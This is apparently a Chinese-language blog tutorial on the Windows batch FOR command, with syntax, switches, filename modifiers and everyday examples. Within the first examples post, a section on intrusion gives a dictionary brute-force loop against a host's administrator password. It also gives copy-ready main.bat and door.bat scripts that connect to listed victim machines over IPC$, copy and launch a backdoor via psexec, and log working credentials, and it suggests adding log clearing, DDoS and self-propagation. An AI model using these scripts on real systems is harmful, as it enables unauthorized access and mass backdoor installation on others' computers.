BAT批次指令: For的功能介紹

BAT批次指令: For的功能介紹

由於排版問題:部分語法中的FOR指令字元後面的間隔不見~語法中要注意的~修正後~再貼一次~

BAT批次指令: For 的功能介紹

For :對一組檔案中的每個檔案執行指定的命令。

指令詳解:

For %variable IN (set) DO 命令 [command-parameters]
‧ %variable      指定一個可以取代的參數。
‧ (set)            指定由一或多個檔案組成的檔案組。您可使用通配字元。
‧ command      指定命令來執行每一個檔案。
‧ command-parameters
‧                為所指定的命令指定變數或參數。

‧ 如果要在批次程式中使用 For 命令,請指定 %%variable,而不要指定%variable。  
‧ 變數名稱有大小寫的區分,所以 %i 不同於 %I。

如果您啟用擴充命令,則額外支援下列的 For 命令格式:

For /D %variable IN (set) DO command  [command-parameters]
‧ 如果 set 中包含萬用字元,則指定與目錄名稱相符,而不是與檔案名稱相符。

For /R [[drive:]path] %variable IN (set) DO command  [command-parameters]
‧ 在樹狀目錄中切換 [drive:]路徑,並於樹狀目錄的每一個目錄下執行For 陳述式。
‧ 如果未在 /R 之後指定目錄規格,則採用目前的目錄。
‧ 如果 set 只是單一句點 (.) 字元,則它只會列舉樹狀目錄結構。

For /L %variable IN (start,step,end) DO command [command-parameters]
‧ set 是從開頭到結尾一次跳一步的連續數字。
‧ 所以 (1,1,5) 會產生連續值 (1 2 3 4 5) 而 (5,-1,1) 會產生連續值 (5 4 3 2 1)

For /F ["options"] %variable IN (file-set) DO command [command-parameters]
For /F ["options"] %variable IN ("string") DO command [command-parameters]
For /F ["options"] %variable IN ('command') DO command [command-parameters]

‧ 或,如果使用 usebackq 選項:

For /F ["options"] %variable IN (file-set) DO command [command-parameters]
For /F ["options"] %variable IN ('string') DO command [command-parameters]
For /F ["options"] %variable IN (`command`) DO command [command-parameters]
‧ filenameset 可以是一個以上的檔案名稱。
‧ 每個檔案都已開啟,讀取及處理過,才繼續進行下個檔案名稱組。
‧ 處理檔案讀取的一致性,將它分成獨立的文字行,然後將每一行分析成零或更多的字串。
‧ 用已找到的字串值為變數值,來呼叫For 迴圈的內容。
‧ 預設狀態,/F傳出每個檔案的每一行中,以空格分隔的第一個字串。空白行會被略過。
‧ 您可以指定 "options" 參數來覆寫預設的分析行為。
‧ 這是有引號的字串,包含一個以上的關鍵字,來指定不同的分析選項。

關鍵字是:

‧ eol=c              - 指定一個行尾註解字元(只有一個)
‧ skip=n             - 指定在檔案開頭要掠過的行數。
‧ delims=xxx       - 指定分隔符號的集合。這會取代預設的空白與定位字元的分隔符號集合。
‧ tokens=x,y,m-n   - 指定每一行的哪些文字串應該被傳到 For 的內部以用來進行每一個重複操作。
‧                      這會導致額外的變數名稱被配置。
‧                      m-n 格式代表一個範圍,指定了第 m 個到第 n 個字串項。
‧                      如果在 tokens= 字串的最後一個字元是星號,
‧                      則會配置一個額外的變數來接收最後一個字串項被分析後的其他文字。
‧ usebackq           - 指定新語義開始作用。
‧                      其中反括號的字串會被當作命令來執行,而單引號字串是純文字字串。
‧                      此外還允許使用雙引號來引用在 filenameset 內的檔名。

以下是一個範例:

For /F "eol=; tokens=2,3 delims=, " %%i in (myfile.txt) do @echo %%i %%j %%k
‧ 這會分析myfile.txt檔案中的每一行,它不會去管以分號開頭的行數,直接將第2個及第3個語法從每一行傳到For 主體,
‧ 而其語法是用逗號和/或空格分開的(delims不放在最後即使條件有空格不會被納入分隔條件)。
‧ 請注意,For 主體陳述式參照%i以取得第二個語法,參照%j以取得第三個語法,使用%k取得第三個語法之後的剩餘字串。
‧ 因為檔案名稱含有空格,您必須用雙引號來括住檔案名稱。要這樣使用雙引號,您必須使用 usebackq 參數。
‧ 否則雙引號會被解譯成用來定義一般文字。

‧ 使用 %i 明白地在 For 陳述式中宣告,並透過 tokens= option 使用 %j 作暗式性的宣告。
‧ 您可以藉由 tokens= line 來指定最多 26 個語法,前提是它宣告的變數不能高於字母 'z' 或 'Z'。
‧ 請記住,For 變數是單一字元的,同時在任一時間內,您不能同時使用超過 52 個 For 變數。

‧ 您也可以使用 For /F 命令在立即字串中分析邏輯,方法是將括弧之間的 filenameset 變成一個引號字串。
‧ 它會被視為從檔案輸入的單行,並加以分析。

‧ 最後,您可以使用 For /F 命令來分析一個命令的輸出。方法是將括弧內的 filenameset 變成單引號字串。
‧ 它將被視為一個命令列,這個命令行將會傳到子CMD.EXE,而輸出將會被擷取到記憶體中,當成檔案來分析。

所以下列的範例:
For /F "delims==" %%i IN ('set') DO @echo %%i
‧ 將列舉目前環境中的環境變數名稱。此外,已經加強了 For 變數參考的取代功能。

您現在可以選用下列的語法:
‧ %~I        - 展開 %I 且移除包圍的引號 (")
‧ %~fI       - 展開 %I 為一個完全符合的路徑名稱
‧ %~dI       - 只展開 %I 為磁碟機代號
‧ %~pI       - 只展開 %I 為路徑
‧ %~nI       - 只展開 %I 為檔名
‧ %~xI       - 只展開 %I 為副檔名
‧ %~sI       - 展開的路徑只包含短檔名
‧ %~aI       - 展開 %I 為檔案的檔案屬性
‧ %~tI       - 展開 %I 為檔案的日期/時間
‧ %~zI       - 展開 %I 檔案的長度
‧ %~$PATH:I  - 搜尋所有列在 PATH 環境變數內的目錄且展開 %I 為第一個找到的完全符合檔名。
                如果沒有定義環境變數名稱或是搜尋找不到檔案,則這個修飾元會展開為空字串。

修飾元可以合併使用以獲得綜合的結果:
‧ %~dpI       - 只展開 %I 為磁碟機代號與路徑
‧ %~nxI       - 只展開 %I 為檔名與副檔名
‧ %~fsI       - 只展開 %I 為含短檔名的完全路徑
‧ %~dp$PATH:i - 為 %I 搜尋所有列在 PATH 環境變數內的目錄且展開第一個找到的項目為磁碟機代號及路徑。
‧ %~ftzaI     - 展開 %I 為像 DIR 一樣的輸出行

在上面的範例中 %I 和 PATH 能用其他的合法值取代。%~ 語法是由合法的For 變數名稱來終止。
如果選用像 %I 的大寫名稱可以增加可讀性而且避免和修飾元的混淆,因為這些並不區分大小寫。

-----------------------------------------------------------------------------------------------
For /f 的功能!!!
‧ 重覆性處理 
   For %i in (monkey dog monkey) do @echo I love %i 
‧ 顯示目錄中的特定檔案 
   For %j in (%windir%\*.txt) do type %j 
‧ 從1顯示到100 
   For /L %i in (1,1,100) do echo %i 
‧ 列出目前所有的目錄 
   For /D %i in (*) do echo %i 

For /f 的使用!!! 
‧ 將指定文檔逐行顯示 
   For /f %i in (%windir%\system32\eula.txt) do @echo %i 
‧ 剖析文字檔,抓出第2、3個區塊 
   For /f “delims=, tokens=3,7" %i in (%windir%\svcpack.log) do @echo %i %j 
‧ 剖析字串 
   For /f "tokens=1,2,3,4" %i in ("my name is jtchen") do @echo your %j is %l, welcome!! 
‧ 將執行結果視為文檔,進行剖析 
   For /F %i in ('dir/b/ad') do echo %i 
‧ 如果不要剖析呢?? (即希望整行輸出) 
‧ 剖析輸出:秀出目前的環境變數 
   For /f "delims== tokens=1" %a in ('set') do @echo %a

-----------------------------------------------------------------------------------------------

BAT批次指令: For的功能範例詳解- 一

由於排版問題:部分語法中的FOR指令字元後面的間隔不見~在語法中要注意的~修正後再貼一次~

BAT批次指令: For 的功能範例詳解- 一 
-----------------------------------------------------------------------------------------------
‧ 指令:For  
‧ 說明:在指定的範圍內循環執行指令。
‧ 備註:在批處理檔案中使用 For 指令時,指定變數請使用 %%variable,而不要用 %variable。
‧ 用法:For {%variable|%%variable} in (set) do command [command-parameters]
‧ 參數:%variable 變數。只能是單一字母,分大小寫和全局,所以 %i 不同於 %I。
‧       (set)              一個或一組檔案。可以使用萬用字元。
‧       command            對每個檔案執行的指令。
‧       command-parameters 指令行開關。

-----------------------------------------------------------------------------------------------
帶指令行開關的 For 指令:

用法:For /d %variable in (set) do command [command-parameters]
說明:如果集中包含萬用字元,則指定與目錄名核對,而不與檔案名稱核對。(directory)

‧ 例 1:For /d %i in (*) do @echo %i
‧ 作用:目前目錄下的子目錄名。

‧ 例 2:For /d %i in (*g*) do @echo %i
‧ 作用:目前目錄下的子目錄名含g的名稱。

用法:For /r [[drive:]path] %variable in (set) do command [command-parameters]
說明:檢查以 [drive:]path 為根的目錄樹。如果在 /r 後沒有指定目錄,則使用目前目錄。
‧    如果集僅為一個單點(.)字元,則枚舉該目錄樹。 (root)

‧ 例 3:For /r %i in (.) do @echo %i
‧ 作用:枚舉目前目錄下的全部子目錄名路徑。

‧ 例 4:For /r %i in (*) do @echo %i
‧ 作用:枚舉目前目錄及子目錄下的全部檔案名稱路徑。

用法:For /l %variable in (start,step,end) do command [command-parameters]
說明:以增量形式從開始到結束一個數字序列。(list)

‧ 例 5:For /l %i in (1,1,5) do @echo %i
‧ 作用:產生序列 1 2 3 4 5。

‧ 例 6:For /l %i in (5,-1,1) do @echo %i
‧ 作用:產生序列 5 4 3 2 1。

用法:For /f ["options"] %variable in (file-set) do command [command-parameters]
      For /f ["options"] %variable in ("string") do command [command-parameters]
      For /f ["options"] %variable in ('command') do command [command-parameters]
說明:file-set為一個或多個檔案名稱。/f 分析每個檔案的每一行,跳過空白行。"options" 關鍵字:
      eol=c          - 行註解字元的結尾(就一個)
      skip=n         - 在檔案開始時略過的行數。
      delims=xxx     - 分隔符集。取代空格和跳格鍵的預設分隔符集。
      tokens=x,y,m-n - 每行的哪一個符號被傳遞到每個迭代的 For 本身。這會導致額外變數名稱的分配。
                       m-n 格式為一個範圍。透過 nth 符號指定 mth。如果符號字串中的最後一個字元星號,
                       那麼額外的變數將在最後一個符號解析之後分配並接受行的保留文字。
      usebackq                          
                       在作為指令執行一個後引號的字串並且一個單引號字元為文字字串指令
                       並允許在 filenameset中使用雙引號擴起檔案名稱。 
‧ 例 7:For /f "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
‧ 作用:分析 myfile.txt 中的不以分號開頭(eol=;)的行,將每行按逗號和空格分成幾段(delims=; ),
‧       再將每行的第2段、第3段及第3段以後的剩餘段分別賦值給變數%i、%j、%k。
‧       對於帶有空格的檔案名稱,需要用雙引號將檔案名稱括起來。

‧ 透過 tokens= 最多可以指定 26 個符號,For 變數最多可以同時使用52個 。
‧ 在相鄰字串上可以使用 For /f 分析邏輯;方法是,用單引號將括號之間的 file-set 括起來。
‧ 這樣,該字串會被當作一個檔案中的一個單一輸入行。
‧ 最後,您可以用 For /f 指令來分析指令的輸出。
‧ 方法是,將括號之間的 file-set 變成一個反括字串(Esc鍵下面的按鍵)。
‧ 該字串會被當作指令行,傳遞到一個子 cmd.exe,其輸出會被抓進記憶體,並被當作檔案分析。


‧ 例 8:For /f "usebackq delims==" %i in (`set`) do @echo %i 
‧ 作用:枚舉目前環境中的環境變數名稱。

下面我們舉幾個例子來具體說明一下For 指令在入侵中的用途。

‧ 例 9:For /f %%i in (dict.txt) do net use \\ip\ipc$>D:\ok.txt
‧ 分析:利用For 指令來實現對一台目標winnt主機的暴力密碼破解。
‧ 我們用net use指令嘗試和目標主機進行連接,當成功時記下密碼。
‧ 用%i來表示administrator的密碼,%i的值在dict.txt中取得,然後將程式運行結果傳遞給find指令,ok.txt中的值即為目標主機的密碼。

‧ 例10:For /f 「tokens=1,2,3 delims= 」 %%i in (victim.txt) do start call door.bat %%i %%j %%k
‧ 分析:自動給大量肉雞種後門和木馬。該指令按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。 

‧ 而cultivate.bat無非就是用net use指令來建立ipc$連接,
‧ 並copy木馬+後門到victim,然後用返回碼(if errorlever =)來過濾器成功種植後門的主機,並echo出來,或者echo到指定的檔案。 
‧ delims= 表示vivtim.txt中的內容是一空格來分隔的。
‧ 所以victim.txt裡的內容應該根據%%i %%j %%k表示的對象來排列,一般就是「IP位址 密碼 帳號」。

-----------------------------------------------------------------------------------------------

代碼雛形: 
========================= 從這裡開始複製,儲存為main.bat =========================
‧ @echo off 
‧ @if "%1"=="" goto usage 
‧ @For /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
‧ @goto end 
‧ :usage 
‧ @echo 執行此批處理檔案
‧ :end

========================= 到這裡結束複製,儲存為main.bat =========================

-----------------------------------------------------------------------------------------------

========================= 從這裡開始複製,儲存為door.bat =========================
‧ @net use \\%1\ipc$ %3 /user:"%2" 
‧ @if errorlevel 1 goto failed 
‧ @echo 嘗試建立 IPC$ 連接 ………… 成功
‧ @copy windrv32.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ok.txt 
‧ @psexec \\%1 c:\windows\system32\windrv32.exe 
‧ @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 後門>>ok.txt 
‧ :failed 
‧ @echo 不能連線到此主機 

========================= 到這裡結束複製,儲存為door.bat =========================

這只是一個自動種植後門批處理的雛形,兩個批處理和後門程式(Windrv32.exe,PSexec.exe)需放在同一目錄下。
批處理內容尚可擴充,例如:加入清除日誌和DDOS的功能,加入定時新增用戶的功能,更深入一點可以使之具備自動傳播功能。
-----------------------------------------------------------------------------------------------

BAT批次指令: For的功能範例詳解- 二

由於排版問題:部分語法中的FOR指令字元後面的間隔不見~在語法中要注意的~修正後再貼一次~

BAT批次指令: For 的功能範例詳解- 二 
-----------------------------------------------------------------------------------------------
‧ 基本套用 

‧ 簡單說,For 是個循環,可以用你指定的循環範圍產生一系列指令。
‧ 最簡單的例子,就是人工指定循環範圍,然後對每個值執行指定的指令。
‧ 例如,想快速報告每個硬碟分區的剩餘空間:

For %a in (c: d: e: f do @dir %a\ | find "bytes free" 
‧ 將輸出:
‧  8 Dir(s) 1,361,334,272 bytes free
‧ 15 Dir(s) 8,505,581,568 bytes free
‧ 12 Dir(s) 12,975,149,056 bytes free
‧  7 Dir(s) 11,658,854,400 bytes free
‧ 用它可以使一些不支持萬用字元的指令對一系列文件進行操作。
‧ 遇到類似情況就可以用For :
For %a in (*.txt) do type %a
‧ 這些還不是For 最強大的功能。
‧ 它最強大的功能,表現在以下這些進階套用:
‧ 1. 可以用 /r 參數遍歷整個目錄樹
‧ 2. 可以用 /f 參數將文本文件內容作為循環範圍
‧ 3. 可以用 /f 參數將某一指令執行結果作為循環範圍
‧ 4. 可以用 %~ 操作符將檔案名分離成檔案名、副檔名、磁碟代號等獨立部分

‧ 現分別舉例說明如下: 

1. 用 /r 遍歷目錄樹: 
‧ 當用 *.* 或 *.txt 等檔案名萬用字元作為 For /r 的循環範圍時,可以對當前目錄下所有文件(包括子目錄裡面的文件)進行操作。
‧ 舉個例子,你想在當前目錄的所有txt文件(包括子目錄)內容中尋找"bluebear"字樣,但由於find本身不能遍歷子目錄,
‧ 所以我們用For :
For /r . %a in (*.txt) do @find "bluebear" %afind 
‧ 前面的 @ 只是讓輸出結果不包括 find 指令本身。
‧ 這是DOS很早就有的功能。和For 無關。
‧ 當用 . 作為循環範圍時,For 只將子目錄的結構(目錄名)作為循環範圍,而不包括裡面的文件。
‧ 有點像 TREE 指令,不過側重點不同。
‧ TREE 的重點是用很漂亮易讀的格式輸出,而For 的輸出適合一些自動工作,例如,
‧ 我們都知道用CVS管理的項目中,每個子目錄下都會有一個CVS目錄,有時在軟體發行時我們想把這些CVS目錄全部去掉:
For /r . %a in (.) do @if exist %a\CVS rd /s /q %a\CVS
‧ 先用 if exist 判斷一下,是因為 For 只是機械的對每個目錄進行列舉,如果有些目錄下面沒有CVS也會被執行到。
‧ 用 if exist 判斷一下比較安全。
‧ 這種移除指令威力太大,請小心使用。
‧ 最好是在真正執行以上的移除指令前,將 rd /s /q 換成 @echo 先列出要刪出的目錄,驗證無誤後再換回rd /s /q:
For /r . %a in (.) do @if exist %a\CVS @echo %a\CVS
‧ 可能目錄中會多出一層 ".",比如 c:\proj\release\.\CVS ,但不會影響指令的執行效果。

2. 將某一文件內容或指令執行結果作為循環範圍: 
‧ 假如你有一個文件 todel.txt,裡面是所有要移除的文件列表,現在你想將裡面列出的每個文件都刪掉。
‧ 假設這個文件是每個檔案名占一行,如下列:
‧ c:\temp\a1.txt
‧ c:\temp\a2.txt
‧ c:\temp\subdir\b3.txt
‧ c:\temp\subdir\b4.txt
‧ 那麼可以用For 來完成:
For /f %a in (todel.txt) do del %a
‧ 這個指令還可以更強大。
‧ 再如你的 todel.txt 並不是像上面排列整齊乾淨,而是由DIR直接產生,含有有部分沒用的訊息,如下列:
‧ Volume in drive D is DATA
‧ Volume Serial Number is C47C-9908
‧ 
‧ Directory of D:\tmp
‧ 09/26/2012 12:50 PM 18,426 alg0925.txt
‧ 12/02/2012 04:29 AM 795 bsample.txt
‧ 04/11/2013 04:18 AM 2,043 invitation.txt
‧ 4 File(s) 25,651 bytes
‧ 0 Dir(s) 4,060,700,672 bytes freeFor 
‧ 
‧ 仍然可以解出其中的檔案名並進行操作:
For /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a DEL %a
‧ 當然,上面這個指令是在進行移除,如果你只是想看看哪些文件將被操作,把DEL換成echo:
For /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a echo %a
‧ 你將看到:
‧ alg0925.txt
‧ bsample.txt
‧ invitation.txtskip=5
‧ 表示跳過前5行(就是DIR輸出的頭部訊息),tokens=5表示將每行的第5列作為循環值放入%a,正好是檔案名。
‧ 在這裡加了一個文件存在判斷,是因為最後一行的"free"剛好也是第5列,目前還想不出好的辦法來濾掉最後兩行,所以檢查一下可保萬無一失。

3. 可以用 /f 參數將某一指令執行結果作為循環範圍
‧ 非常有用的功能。
‧ 比如,我們想知道目前的環境變數有哪些名字(我們只要名字,不要值)。
‧ 可是SET指令的輸出是「名字=值」的格式,現在可以用For 來只取得名字部分:
For /F "delims==" %i IN ('set') DO @echo %i
‧ 將看到:
‧ ALLUSERSPROFILE
‧ APPDATA
‧ CLASSPATH
‧ CommonProgramFiles
‧ COMPUTERNAME
‧ ComSpec
‧ dircmd
‧ HOMEDRIVE
‧ .....這裡是將set指令執行的結果拿來作為循環範圍。
‧ delims==表示用=作為分隔符,由於For /F預設是用每行第一個TOKEN,所以可以分離出變數名。
‧ 如果是想僅列出值:
For /F "delims== tokens=2" %i IN ('set') DO @echo %itokens=2
‧ 和前例相同,表示將第二列(由=作為分隔符)作為循環值。
‧ 再來個更有用的例子:
‧ 我們知道 date /t (/t表示不要詢問用戶輸入)的輸出是像這樣的:
‧ Sat 07/13/2013
‧ 現在我想分離出日期部分,也就是13:
For /f "tokens=3 delims=/ " %a in ('date /t') do @echo %a
‧ 實際上把 tokens後面換成1,2,3或4,你將分別得到Sat, 07, 13和2002。
‧ 注意delims=/後面還有個空格,表示/和空格都是分隔符。
‧ 由於這個空格delims必須是/f選項的最後一項。
‧ 再靈活一點,像本文開頭提到的,將日期用2013-07-13的格式輸出:
For /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b
‧ 當tokens後跟多個值時,將分別映射到%a, %b, %c等。
‧ 實際上跟你指定的變數有關,如果你指定的是 %i, 它們就會用%i, %j, %k等。
‧ 靈活套用這一點,幾乎沒有做不了的事。

4. 可以用 %~ 操作符將檔案名分離成檔案名、副檔名、磁碟代號等獨立部分
‧ 這個比較簡單,就是說將循環變數的值自動分離成只要檔案名,只要副檔名,或只要磁碟代號等等。
‧ 例:要將 c:\mp3下所有mp3的歌名列出,如果用一般的 dir /b/s 或 For /r ,
‧ 將會是這樣:
‧ g:\mp3\Archived\13-08-01-A\資料夾1\01 夕陽.mp3
‧ g:\mp3\Archived\13-08-01-A\資料夾1\02 烈日.mp3
‧ .................................................
‧ g:\mp3\Archived\13-08-01-A\資料夾2\童話.mp3
‧ g:\mp3\Archived\13-08-01-A\資料夾2\神話.mp3
‧ g:\mp3\Archived\13-08-01-A\資料夾2\四季.mp3
‧ ......如果只要歌名(不要路徑和".mp3"):
‧ ......
‧ 那麼可以用For 指令:

For /r g:\mp3 %a in (*.mp3) do @echo %~na
‧ 凡是 %~ 開頭的操作符,都是檔案名的分離操作。
‧ 如果想將電腦上有一些虛擬光碟,來源碟的格式是wav的,想用lame壓一下。
‧ 如果每個虛擬盤結構為:wave資料夾下有子8個左右子資料夾,每個子資料夾內有一些wave文件,
‧ 如將這些文件壓到指定的位置,轉成mp3,體積基本變成原來的10分之一,那麼如下這樣作。。。。
‧ 把lame主文件放到系統檔案夾下面,方便使用。
‧ 建個bat文件,內容如下:

For /r d:\wave %%i in (*.wav) do lame --preset mw-us -m m %%i c:\%%~pni.mp3
‧ do前面是For 指令的循環,/r表示對子資料夾遞回執行,找到每個wav文件,將完整的檔案名送到變數%i,%%i的寫法是因為bat的需要。
‧ do後面是對每個找到的文件進行壓縮,參數--preset mw-us是壓成40Kbps,基本上與源文件沒什麼區別,參數-m m表示壓成單聲道。
‧ %%~pni表示只要每個文件的路徑(不包括磁碟代號)和檔案名部分(不包括副檔名)。
-----------------------------------------------------------------------------------------------

BAT批次指令: For 的功能範例詳解- 三

-----------------------------------------------------------------------------------------------
For 命令允許批次檔中的其他命令,可以重覆地執行

For %%a IN (file1 file2 file3) DO del %%a
• 虛擬變數必須以兩個百分號(%%)起頭,in後面著參數列,do後面跟著要執行的命令

Ex1:
• @echo off
• echo .... 測試For 指令
• echo .... 請稍後
• echo .... 完成.....
• echo ....

For %%a IN (test_a.bat test_b.bat test_c.bat) do copy %%a prn
結果:
• test Enter
• .... 測試For 指令
• .... 請稍後
• .... 完成.....
• ....
•   1 File(s) Copied
•   1 File(s) Copied
•   1 File(s) Copied

Ex2:
• REM 取得日期
For /F "tokens=1-4 delims=/ " %%a IN ("%date%") DO (SET _MyDate=%%a%%b%%c%%d)
• REM 顯示去掉分隔符號後的結果
• echo %_MyDate%

說明:
• /F 是指定將後面 %date% 的環境變數當成檔案來處理,而處理的依據就是在「"tokens=1-4 delims=/ "」這邊。
• tokens如果按照字面翻譯的話,是權杖的意思,這樣翻不太直覺,在這邊翻成順序可能比較好一些。
• 以這個例子來說,就是要取得順序 1 ~ 4 的字串,那程式怎麼知道這個順序的分法呢?
• 透過 delims 這個引述的設定,程式就知道要怎麼去分析 %date% 環境變數的順序。
• 在 delims 等號右邊的字元就是用來指定分割順序的依據。
• 以這個例子來說,我們用「/」與「 」(空白,White Space)這兩個分隔符號來分割 %date% 的順序。
• 因此原本 %date% 的內容是 2013/08/08 星期二,在程式來看就變成了:

順序    內  容
﹉﹉    ﹉﹉﹉﹉
• 1    2013
• 2      08
• 3      08
• 4   星期二
 

• %%a 是說把順序 1 的結果指派給名稱為 %%a 的變數,因此順序 2 的變數名稱就會是 %%b,以此類推,最多可以有 52 個變數。
• 原因如下:變數名稱有大小寫之分,所以 %%a 跟 %%A 不同,且僅能以一個英文字母來命名,所以 26(個字母)× 2(大寫跟小寫 2 種)=52(個)。
• DO 後面的括號內容是用來指定所要執行的命令內容,以這個例子來說,就是指定一個名稱為 _MyDate 的變數,它的內容是由 %%a%%b%%c%%d 所構成的。
• 再來看看使用 For 指令去掉時間變數之分隔符號的結果:
• MyTime.bat 的檔案內容如下所示:

----程式開始----

• REM 取得時間
• For /F "tokens=1-4 delims=:." %%a IN ("%time%") DO (SET _MyTime=%%a%%b%%c%%d)
• REM 顯示去掉分隔符號後的結果
• echo %_MyTime%
 

----程式結束----

• 看看執行的結果:
• C:\>MyTime
• 螢幕輸出:
• 14243241

• ~此範例運用到 %date% 與 %time% 環境變數~

留言

這個網誌中的熱門文章

BAT批次指令: COPY 的功能介紹

BAT批次指令: FINDSTR 的功能介紹